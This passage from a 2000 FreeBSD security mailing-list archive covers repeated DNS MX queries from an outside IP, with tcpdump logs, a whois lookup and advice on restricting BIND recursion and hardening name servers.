certainly know. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 18:16:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from floozy.zytek.com (floozy.zytek.com [63.198.33.206]) by hub.freebsd.org (Postfix) with ESMTP id 73C3114D0C for ; Fri, 28 Jan 2000 18:16:09 -0800 (PST) (envelope-from mccord@floozy.zytek.com) Received: (from mccord@localhost) by floozy.zytek.com (8.9.3/8.9.3) id SAA34537; Fri, 28 Jan 2000 18:16:09 -0800 (PST) (envelope-from mccord) Date: Fri, 28 Jan 2000 18:16:09 -0800 (PST) From: Samara McCord Message-Id: <200001290216.SAA34537@floozy.zytek.com> To: freebsd-security@freebsd.org Subject: Continual DNS requests from mysterious IP Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, This is not an attack, but somewhat irritating. Also it's something that no one would normally notice. Well I was running tcpdump to check on something else and noticed this. About once a second I'm getting DNS requests for the mail relay of "aol.com". It has been going on all day, possibly for many days. It bugged me so I put this IP address in my border filter to discard all packets. Does anyone know what this is? Some kind of network monitoring? The IP address is not reversible (surprise surpise), possibly in New York. It sort of brings up the issue of possibly DNS inquiries should be limited to 1. domains for which you are authoratative, and 2. machines for which you provide dial-up service. Below is a sample tcpdump output (my machine has been xxx'd out, the other IP address is real). Sam ------- 15:58:36.768512 212.205.50.129.28912 > xxx.xxx.xxx.domain: 15357+ MX? aol.com. (25) (DF) 15:58:36.770828 xxx.xxx.xxx.domain > 212.205.50.129.28912: 15357 9/2/16 MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15 (500) 15:58:38.444473 212.205.50.129.14970 > xxx.xxx.xxx.domain: 1832+ MX? aol.com. (25) (DF) 15:58:38.446895 xxx.xxx.xxx.domain > 212.205.50.129.14970: 1832 9/2/16 MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15 (500) 15:58:38.778631 212.205.50.129.9245 > xxx.xxx.xxx.domain: 41476+ MX? aol.com. (25) (DF) 15:58:38.780911 xxx.xxx.xxx.domain > 212.205.50.129.9245: 41476 9/2/16 MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15 (500) 15:58:38.827693 212.205.50.129.18818 > xxx.xxx.xxx.domain: 60850+ MX? aol.com. (25) (DF) 15:58:38.829969 xxx.xxx.xxx.domain > 212.205.50.129.18818: 60850 9/2/16 MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15 (500) 15:58:39.367913 212.205.50.129.7526 > xxx.xxx.xxx.domain: 56983+ MX? aol.com. (25) (DF) 15:58:39.370303 xxx.xxx.xxx.domain > 212.205.50.129.7526: 56983 9/2/16 MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15 (500) 15:58:40.419209 212.205.50.129.4028 > xxx.xxx.xxx.domain: 47022+ MX? aol.com. (25) (DF) 15:58:40.420800 212.205.50.129.1875 > xxx.xxx.xxx.domain: 2307+ MX? aol.com. (25) (DF) 15:58:40.421774 xxx.xxx.xxx.domain > 212.205.50.129.4028: 47022 9/2/16 MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15 (500) 15:58:40.423991 xxx.xxx.xxx.domain > 212.205.50.129.1875: 2307 9/2/16 MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15 (500) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 22:42:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8782214DC0 for ; Fri, 28 Jan 2000 22:42:19 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA84140; Fri, 28 Jan 2000 22:42:15 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001290642.WAA84140@gndrsh.dnsmgr.net> Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <200001290216.SAA34537@floozy.zytek.com> from Samara McCord at "Jan 28, 2000 06:16:09 pm" To: mccord@zytek.com (Samara McCord) Date: Fri, 28 Jan 2000 22:42:14 -0800 (PST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Hello, Hi. I don't know why they are doing this, but here is some help in just who it is that is doing this... > > This is not an attack, but somewhat irritating. Also it's something ... > Some kind of network monitoring? The IP address is not reversible > (surprise surpise), possibly in New York. The IP address is reversible to the class C bondary, and a couple of whois quieris and you find: gndrsh:rgrimes {504}% whois -h whois.ripe.net 212.205.50.129 % Rights restricted by copyright. See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 212.205.50.128 - 212.205.50.191 netname: V-SHARE descr: 14 Mesologiou str descr: 15122 Marousi country: GR admin-c: NA525-RIPE tech-c: NA525-RIPE status: ASSIGNED PA mnt-by: OTENET-GR-MNT changed: nameadm@otenet.gr 19990624 source: RIPE person: N Ameladiotis address: 14 Mesologiou str address: 15122 Marousi address: GR phone: +30-1-8022373 fax-no: +30-1-6691573 nic-hdl: NA525-RIPE mnt-by: OTENET-GR-MNT changed: nameadm@otenet.gr 19990624 source: RIPE ... -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 6:48: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 16F5C155F9 for ; Sat, 29 Jan 2000 06:48:06 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 73385 invoked from network); 29 Jan 2000 09:50:25 -0000 Received: from missnglnk.wants.to-fuck.com (HELO hydrant.intranova.net) (user95589@209.201.95.10) by blacklisted.intranova.net with SMTP; 29 Jan 2000 09:50:25 -0000 Date: Sat, 29 Jan 2000 09:46:48 -0500 (EST) From: Omachonu Ogali To: Samara McCord Cc: freebsd-security@freebsd.org Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <200001290216.SAA34537@floozy.zytek.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you understand the tcpdump output you'll see that its a query for the MX records of aol.com so a successful mail transfer can be acheived. This is the normal course of events: 1) The user types the e-mail (or a program generates the e-mail) and transfers it to the local mail daemon or the SMTP daemon. 2) The mail daemon looks at the outgoing address and requests a "what mailserver is authoritive for this address" record from the local resolver. 3) The local resolver forwards the request to the first available name server specified from /etc/resolv.conf. (Line 1 of tcpdump) 4) -hidden- The other nameservers forward to the root servers and traverse down the path of yellow brick DNS road till it gets an answer. 5) Our happy little nameserver runs back to the requesting resolver with an answer (Line 2 of tcpdump). Apparently, your machine is either blocking the replies, dropping them, or not seeing them at all, causing for the retransmits of steps 3-5. Now the normal course of events would continue like this: 6) Our local resolver flings it back to the original application that made the res_mkquery() call, and the application handles as it wants, since this is a name server then... 7) The mail daemon attempts a connection to the mail exchanger with the highest preference from that domain, if that fails, go to the next highest preference, so on and so forth. 8) The mail message is then transferred after the connection and it returns an error or successful message to syslog or the user. Note: Step 7 also includes resolving the mail exchanger to an IP address before connecting to it. (But you knew that already.) I would advise you to check your firewall rules in case you are denying everything or not enough. :) Then if that fails, go through a general network diagnostic test and see why those packets are being dropped. Omachonu Ogali Intranova Networking Group On Fri, 28 Jan 2000, Samara McCord wrote: > Hello, > > This is not an attack, but somewhat irritating. Also it's something > that no one would normally notice. Well I was running tcpdump to check > on something else and noticed this. About once a second I'm getting > DNS requests for the mail relay of "aol.com". It has been going on all > day, possibly for many days. It bugged me so I put this IP address in > my border filter to discard all packets. Does anyone know what this is? > Some kind of network monitoring? The IP address is not reversible > (surprise surpise), possibly in New York. It sort of brings up the > issue of possibly DNS inquiries should be limited to 1. domains for > which you are authoratative, and 2. machines for which you provide > dial-up service. Below is a sample tcpdump output (my machine > has been xxx'd out, the other IP address is real). > > Sam > > ------- > 15:58:36.768512 212.205.50.129.28912 > xxx.xxx.xxx.domain: 15357+ MX? aol.com. (25) (DF) > 15:58:36.770828 xxx.xxx.xxx.domain > 212.205.50.129.28912: 15357 9/2/16 MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15 (500) > 15:58:38.444473 212.205.50.129.14970 > xxx.xxx.xxx.domain: 1832+ MX? aol.com. (25) (DF) > 15:58:38.446895 xxx.xxx.xxx.domain > 212.205.50.129.14970: 1832 9/2/16 MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15 (500) > 15:58:38.778631 212.205.50.129.9245 > xxx.xxx.xxx.domain: 41476+ MX? aol.com. (25) (DF) > 15:58:38.780911 xxx.xxx.xxx.domain > 212.205.50.129.9245: 41476 9/2/16 MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15 (500) > 15:58:38.827693 212.205.50.129.18818 > xxx.xxx.xxx.domain: 60850+ MX? aol.com. (25) (DF) > 15:58:38.829969 xxx.xxx.xxx.domain > 212.205.50.129.18818: 60850 9/2/16 MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15 (500) > 15:58:39.367913 212.205.50.129.7526 > xxx.xxx.xxx.domain: 56983+ MX? aol.com. (25) (DF) > 15:58:39.370303 xxx.xxx.xxx.domain > 212.205.50.129.7526: 56983 9/2/16 MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15 (500) > 15:58:40.419209 212.205.50.129.4028 > xxx.xxx.xxx.domain: 47022+ MX? aol.com. (25) (DF) > 15:58:40.420800 212.205.50.129.1875 > xxx.xxx.xxx.domain: 2307+ MX? aol.com. (25) (DF) > 15:58:40.421774 xxx.xxx.xxx.domain > 212.205.50.129.4028: 47022 9/2/16 MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15 (500) > 15:58:40.423991 xxx.xxx.xxx.domain > 212.205.50.129.1875: 2307 9/2/16 MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15 (500) > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 7: 2:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id ADCB314FB4 for ; Sat, 29 Jan 2000 07:02:29 -0800 (PST) (envelope-from sthaug@nethelp.no) Received: (qmail 98583 invoked by uid 1001); 29 Jan 2000 15:02:26 +0000 (GMT) To: oogali@intranova.net Cc: mccord@zytek.com, freebsd-security@freebsd.org Subject: Re: Continual DNS requests from mysterious IP From: sthaug@nethelp.no In-Reply-To: Your message of "Sat, 29 Jan 2000 09:46:48 -0500 (EST)" References: X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 29 Jan 2000 16:02:26 +0100 Message-ID: <98581.949158146@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > If you understand the tcpdump output you'll see that its a query > for the MX records of aol.com so a successful mail transfer can be > acheived. I doubt that's why this is happening, see below. > This is the normal course of events: > > 1) The user types the e-mail (or a program generates the e-mail) > and transfers it to the local mail daemon or the SMTP daemon. > > 2) The mail daemon looks at the outgoing address and requests a "what > mailserver is authoritive for this address" record from the local > resolver. > > 3) The local resolver forwards the request to the first available name > server specified from /etc/resolv.conf. (Line 1 of tcpdump) > > 4) -hidden- The other nameservers forward to the root servers and traverse > down the path of yellow brick DNS road till it gets an answer. > > 5) Our happy little nameserver runs back to the requesting resolver with > an answer (Line 2 of tcpdump). > > Apparently, your machine is either blocking the replies, dropping them, or > not seeing them at all, causing for the retransmits of steps 3-5. Now the > normal course of events would continue like this: The problem is that: - These queries are directed to machines which have nothing to do with aol.com (and are not authoritative name servers for aol.com). - These queries are being repeated indefinitely. (Yes, it's happening here too.) Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:35: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from floozy.zytek.com (floozy.zytek.com [63.198.33.206]) by hub.freebsd.org (Postfix) with ESMTP id B47A5160AC for ; Sat, 29 Jan 2000 08:34:57 -0800 (PST) (envelope-from mccord@floozy.zytek.com) Received: (from mccord@localhost) by floozy.zytek.com (8.9.3/8.9.3) id IAA36101; Sat, 29 Jan 2000 08:34:49 -0800 (PST) (envelope-from mccord) Date: Sat, 29 Jan 2000 08:34:49 -0800 (PST) From: Samara McCord Message-Id: <200001291634.IAA36101@floozy.zytek.com> To: oogali@intranova.net, sthaug@nethelp.no Subject: Re: Continual DNS requests from mysterious IP Cc: freebsd-security@FreeBSD.ORG, mccord@zytek.com In-Reply-To: <98581.949158146@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >The problem is that: > >- These queries are directed to machines which have nothing to do with >aol.com (and are not authoritative name servers for aol.com). > >- These queries are being repeated indefinitely. > >(Yes, it's happening here too.) Also, let me point out that in my case the 500 byte response (containing the full list of AOLs MX targets) *was* being happily returned until I started blocking the IP address. Of course there may be a firewall on the other end which prevented the responses from being delivered all the way through but I can say the there were no ICMP messages generated from the UDP DNS response. But this also brings up my other point. Correct me if I'm wrong, but my DNS servers shouldn't ever have to deliver the MX records for aol.com (or any domain for which I don't serve), except to my own internal machines and for my own customers, right? Sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:42:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179]) by hub.freebsd.org (Postfix) with ESMTP id 52FB714A17 for ; Sat, 29 Jan 2000 08:42:47 -0800 (PST) (envelope-from fbsd-security@ursine.com) Received: from michael (lambda.ursine.com [209.133.45.69]) by quaggy.ursine.com (8.9.3/8.9.3) with ESMTP id IAA79733 for ; Sat, 29 Jan 2000 08:42:46 -0800 (PST) Message-ID: <200001290842460680.22E3EFC9@quaggy.ursine.com> In-Reply-To: <200001291634.IAA36101@floozy.zytek.com> References: <200001291634.IAA36101@floozy.zytek.com> X-Mailer: Calypso Version 3.00.00.13 (2) Date: Sat, 29 Jan 2000 08:42:46 -0800 From: "Michael Bryan" To: freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1/29/00 at 8:34 AM Samara McCord wrote: >But this also brings up my other >point. Correct me if I'm wrong, but my DNS servers shouldn't ever have >to deliver the MX records for aol.com (or any domain for which I don't >serve), except to my own internal machines and for my own customers,= right? If somebody has manually setup their system to use you as a DNS resolver, then you will get packets for any and all DNS requests they make, no matter where they are on the Internet. Not a very smart way to do things, mind you, but I've seen it before, usually from customers of mine who moved a computer from work or another ISP and kept their old DNS settings. I don't think that's what's going on in your case, though... -- Michael Bryan fbsd-security@ursine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:47:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 359CF15281 for ; Sat, 29 Jan 2000 08:47:21 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id RAA13431; Sat, 29 Jan 2000 17:46:54 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: "Michael Bryan" Cc: freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP In-reply-to: Your message of "Sat, 29 Jan 2000 08:42:46 PST." <200001290842460680.22E3EFC9@quaggy.ursine.com> Date: Sat, 29 Jan 2000 17:46:54 +0100 Message-ID: <13429.949164414@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001290842460680.22E3EFC9@quaggy.ursine.com>, "Michael Bryan" wri tes: > > >On 1/29/00 at 8:34 AM Samara McCord wrote: > >>But this also brings up my other >>point. Correct me if I'm wrong, but my DNS servers shouldn't ever have >>to deliver the MX records for aol.com (or any domain for which I don't >>serve), except to my own internal machines and for my own customers, right? > >If somebody has manually setup their system to use you as a DNS resolver, >then you will get packets for any and all DNS requests they make, no matter >where they are on the Internet. Not a very smart way to do things, mind >you, but I've seen it before, usually from customers of mine who moved a >computer from work or another ISP and kept their old DNS settings. I don't >think that's what's going on in your case, though... Tell named to only recurse for your own IP range (takes code hacking). -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:55:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from shemp.palomine.net (shemp.palomine.net [205.198.88.200]) by hub.freebsd.org (Postfix) with SMTP id 7877E14E74 for ; Sat, 29 Jan 2000 08:55:01 -0800 (PST) (envelope-from cjohnson@palomine.net) Received: (qmail 14219 invoked by uid 1000); 29 Jan 2000 16:54:51 -0000 Date: Sat, 29 Jan 2000 11:54:51 -0500 From: Chris Johnson To: freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP Message-ID: <20000129115451.A14160@palomine.net> References: <200001290842460680.22E3EFC9@quaggy.ursine.com> <13429.949164414@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <13429.949164414@critter.freebsd.dk>; from Poul-Henning Kamp on Sat, Jan 29, 2000 at 05:46:54PM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jan 29, 2000 at 05:46:54PM +0100, Poul-Henning Kamp wrote: > In message <200001290842460680.22E3EFC9@quaggy.ursine.com>, "Michael Bryan" wri > tes: > > > > > >On 1/29/00 at 8:34 AM Samara McCord wrote: > > > >>But this also brings up my other > >>point. Correct me if I'm wrong, but my DNS servers shouldn't ever have > >>to deliver the MX records for aol.com (or any domain for which I don't > >>serve), except to my own internal machines and for my own customers, right? > > > >If somebody has manually setup their system to use you as a DNS resolver, > >then you will get packets for any and all DNS requests they make, no matter > >where they are on the Internet. Not a very smart way to do things, mind > >you, but I've seen it before, usually from customers of mine who moved a > >computer from work or another ISP and kept their old DNS settings. I don't > >think that's what's going on in your case, though... > > Tell named to only recurse for your own IP range (takes code hacking). Or use dnscache/tinydns instead of named. It's new, written by Dan Bernstein (the author of qmail), and it'll give you control over who gets to request what from your name servers. It's also small, secure, simple, etc., like qmail is. I'm completely BIND-free now, and haven't had any problems whatsoever. http://cr.yp.to/dnscache.html Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:56:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id B55E0160D6 for ; Sat, 29 Jan 2000 08:56:35 -0800 (PST) (envelope-from sthaug@nethelp.no) Received: (qmail 99755 invoked by uid 1001); 29 Jan 2000 16:56:33 +0000 (GMT) To: phk@critter.freebsd.dk Cc: fbsd-security@ursine.com, freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP From: sthaug@nethelp.no In-Reply-To: Your message of "Sat, 29 Jan 2000 17:46:54 +0100" References: <13429.949164414@critter.freebsd.dk> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 29 Jan 2000 17:56:33 +0100 Message-ID: <99753.949164993@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Tell named to only recurse for your own IP range (takes code hacking). Not really. "allow-recursion" is your friend. options { allow-recursion { localnets; x.y.z/24; // Other addresses allowed }; }; Requires BIND 8.2.1 or newer. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 8:58:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from moek.pir.net (moek.pir.net [209.192.237.190]) by hub.freebsd.org (Postfix) with ESMTP id 0208D14D15 for ; Sat, 29 Jan 2000 08:58:39 -0800 (PST) (envelope-from pir@pir.net) Received: from pir by moek.pir.net with local (Exim) id 12EbCd-0004ID-00 for freebsd-security@FreeBSD.ORG; Sat, 29 Jan 2000 11:58:27 -0500 Date: Sat, 29 Jan 2000 11:58:26 -0500 From: Peter Radcliffe To: freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP Message-ID: <20000129115826.B12465@pir.net> Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <98581.949158146@verdi.nethelp.no> <200001291634.IAA36101@floozy.zytek.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200001291634.IAA36101@floozy.zytek.com>; from mccord@zytek.com on Sat, Jan 29, 2000 at 08:34:49AM -0800 X-fish: < Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Samara McCord probably said: > point. Correct me if I'm wrong, but my DNS servers shouldn't ever have > to deliver the MX records for aol.com (or any domain for which I don't > serve), except to my own internal machines and for my own customers, right? Current security advice for nameservers; o upgrade to the latest version of bind8 o ensure the ndc control socket cannot be used by anyone but root or other users you don't mind getting root (problem on solaris) o run bind as a non-root user and possibly chrooted (standard options in recent bind8). o split your authorative and caching versions of named o turn off recursion and fetch-glue in the auth server so it cannot be poisoned o only allow access to your caching nameservers from your netblocks (by listening on an interface that cannot be reached from outside, filtering or by using allow-query {};) This brings named in line with how most services are run on the Internet these days - allow what you need to allow and no more. Applying this to your nameservers would stop these random people using you as a resolver or attacking (poisoning) your caches. I have a lot of people going off campus and leaving their resolver IP set to the tufts caches. The load and memory use of the main campus cache noticibly decreased when I applied allow-query to our netblocks. P. -- pir pir@pir.net pir@net.tufts.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 9:13:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id 1205A14E74 for ; Sat, 29 Jan 2000 09:13:56 -0800 (PST) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.12 #1) id 12EbRU-00038F-00; Sat, 29 Jan 2000 09:13:48 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Warner Losh Cc: freebsd-security@freebsd.org Subject: Re: delegate buffer overflow (ports) Message-Id: Date: Sat, 29 Jan 2000 09:13:48 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER > TO EASILY TAKE CONTROL OF YOUR MACHINE might i suggest a taxonomy of vulnerabilities: o vulnerable to remote attack o vulnerable to attack by local user o vulnetable to email or similarly indirect attack in a 'closed' environment, one might not be as worried about the latter two. randy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 9:45:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from floozy.zytek.com (floozy.zytek.com [63.198.33.206]) by hub.freebsd.org (Postfix) with ESMTP id 47B3C15813 for ; Sat, 29 Jan 2000 09:45:26 -0800 (PST) (envelope-from mccord@floozy.zytek.com) Received: (from mccord@localhost) by floozy.zytek.com (8.9.3/8.9.3) id JAA36290; Sat, 29 Jan 2000 09:44:53 -0800 (PST) (envelope-from mccord) Date: Sat, 29 Jan 2000 09:44:53 -0800 (PST) From: Samara McCord Message-Id: <200001291744.JAA36290@floozy.zytek.com> To: phk@critter.freebsd.dk, sthaug@nethelp.no Subject: Re: Continual DNS requests from mysterious IP Cc: fbsd-security@ursine.com, freebsd-security@FreeBSD.ORG In-Reply-To: <99753.949164993@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> Tell named to only recurse for your own IP range (takes code hacking). > >Not really. "allow-recursion" is your friend. > >options { > allow-recursion { > localnets; > x.y.z/24; // Other addresses allowed > }; >}; > >Requires BIND 8.2.1 or newer. > Thanks, this was helpful. Also, I've found that you can emulate this behavior on BIND 8.2 (which doesn't have allow-recursion) by the following: options { allow-query { localnets; } } zone "xxx.com" { type master; ... allow-query { any; } ... } This says that for queries within the authoritative zone, allow anything, but for all other queries, only allow specific IPs. Sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 12:10:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id 8BD2B15E24 for ; Sat, 29 Jan 2000 12:10:29 -0800 (PST) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id OAA22881; Sat, 29 Jan 2000 14:09:46 -0600 (CST) From: Igor Roshchin Message-Id: <200001292009.OAA22881@alecto.physics.uiuc.edu> Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <200001291744.JAA36290@floozy.zytek.com> from "Samara 